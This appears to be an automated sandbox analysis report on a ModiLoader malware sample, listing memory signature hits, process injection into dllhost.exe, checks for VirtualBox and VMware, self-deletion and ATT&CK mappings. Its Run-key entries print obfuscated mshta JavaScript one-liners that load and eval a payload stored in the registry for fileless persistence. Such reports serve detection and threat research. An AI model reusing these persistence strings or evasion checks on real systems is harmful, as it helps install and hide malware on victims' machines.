modiloader | 6dc6ec7750a584d5de7760d053165b3c435d01b53e006b7a6c6cc05e0bad3703

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	dllhost.exe

ModiLoader Second Stage 47 IoCs

resource	yara_rule
behavioral2/memory/672-2-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral2/memory/672-3-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral2/memory/672-4-0x000000000DCF0000-0x000000000DDB4000-memory.dmp	modiloader_stage2
behavioral2/memory/672-5-0x000000000DCF0000-0x000000000DDB4000-memory.dmp	modiloader_stage2
behavioral2/memory/672-6-0x000000000DCF0000-0x000000000DDB4000-memory.dmp	modiloader_stage2
behavioral2/memory/672-10-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/4276-11-0x0000000000600000-0x00000000006C4000-memory.dmp	modiloader_stage2
behavioral2/memory/4276-12-0x0000000000600000-0x00000000006C4000-memory.dmp	modiloader_stage2
behavioral2/memory/672-7-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral2/memory/4276-13-0x0000000000600000-0x00000000006C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-19-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-21-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-22-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-23-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-20-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-18-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-25-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-26-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-24-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-27-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-28-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/3588-36-0x0000000000ED0000-0x0000000000F94000-memory.dmp	modiloader_stage2
behavioral2/memory/3588-34-0x0000000000ED0000-0x0000000000F94000-memory.dmp	modiloader_stage2
behavioral2/memory/3588-32-0x0000000000ED0000-0x0000000000F94000-memory.dmp	modiloader_stage2
behavioral2/memory/3588-35-0x0000000000ED0000-0x0000000000F94000-memory.dmp	modiloader_stage2
behavioral2/memory/3588-33-0x0000000000ED0000-0x0000000000F94000-memory.dmp	modiloader_stage2
behavioral2/memory/3588-31-0x0000000000ED0000-0x0000000000F94000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-45-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-44-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-43-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-42-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-41-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-40-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-38-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-39-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-37-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2344-51-0x0000000000600000-0x00000000006C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2344-52-0x0000000000600000-0x00000000006C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2344-49-0x0000000000600000-0x00000000006C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2344-50-0x0000000000600000-0x00000000006C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2344-48-0x0000000000600000-0x00000000006C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2344-54-0x0000000000600000-0x00000000006C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-64-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-67-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-66-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-65-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1640-63-0x0000000001200000-0x00000000012C4000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:f7ks7NAwN=\"EOAAdWt\";H3L9=new%20ActiveXObject(\"WScript.Shell\");wD3Hukl5yI=\"8voK5XRP\";OcPq49=H3L9.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\cf64f848\\\\34a04ff4\");pmdwqG7Sh=\"fs5c\";eval(OcPq49);x0CqbHkw7=\"Ur\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

pid	Process
1640	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:W4DW2EjRno=\"KzAswjE\";lA10=new%20ActiveXObject(\"WScript.Shell\");b2LCOZJY=\"GFLWb\";ocG3U2=lA10.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\cf64f848\\\\34a04ff4\");YFSEpkz3=\"dlzlp78T1I\";eval(ocG3U2);JYr3QlHSJ7=\"egHvLqhLK\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Vry2o7Ic=\"Yv1\";u42s=new%20ActiveXObject(\"WScript.Shell\");djcp0AiB5=\"ykr\";DI8O7d=u42s.RegRead(\"HKCU\\\\software\\\\cf64f848\\\\34a04ff4\");tmNtx06aR=\"AdRog\";eval(DI8O7d);zI7ZnGg=\"w\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	dllhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4996 set thread context of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\International	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
672	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
672	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
672	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
4276	dllhost.exe
4276	dllhost.exe
4276	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe
1640	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 4996 wrote to memory of 672	4996	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	80
PID 672 wrote to memory of 4276	672	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	81
PID 672 wrote to memory of 4276	672	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	81
PID 672 wrote to memory of 4276	672	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	81
PID 4276 wrote to memory of 1640	4276	dllhost.exe	82
PID 4276 wrote to memory of 1640	4276	dllhost.exe	82
PID 4276 wrote to memory of 1640	4276	dllhost.exe	82
PID 1640 wrote to memory of 3588	1640	dllhost.exe	87
PID 1640 wrote to memory of 3588	1640	dllhost.exe	87
PID 1640 wrote to memory of 3588	1640	dllhost.exe	87
PID 1640 wrote to memory of 2344	1640	dllhost.exe	89
PID 1640 wrote to memory of 2344	1640	dllhost.exe	89
PID 1640 wrote to memory of 2344	1640	dllhost.exe	89

C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
"C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4996
- C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
  C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
  2⤵
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:672
- - C:\Windows\SysWOW64\dllhost.exe
    dllhost.exe
    3⤵
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4276
  - - C:\Windows\SysWOW64\dllhost.exe
      dllhost.exe
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Adds policy Run key to start application
      Looks for VMWare Tools registry key
      Checks BIOS information in registry
      Deletes itself
      Adds Run key to start application
      Maps connected drives based on registry
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:1640
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        
        PID:3588
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

Virtualization/Sandbox Evasion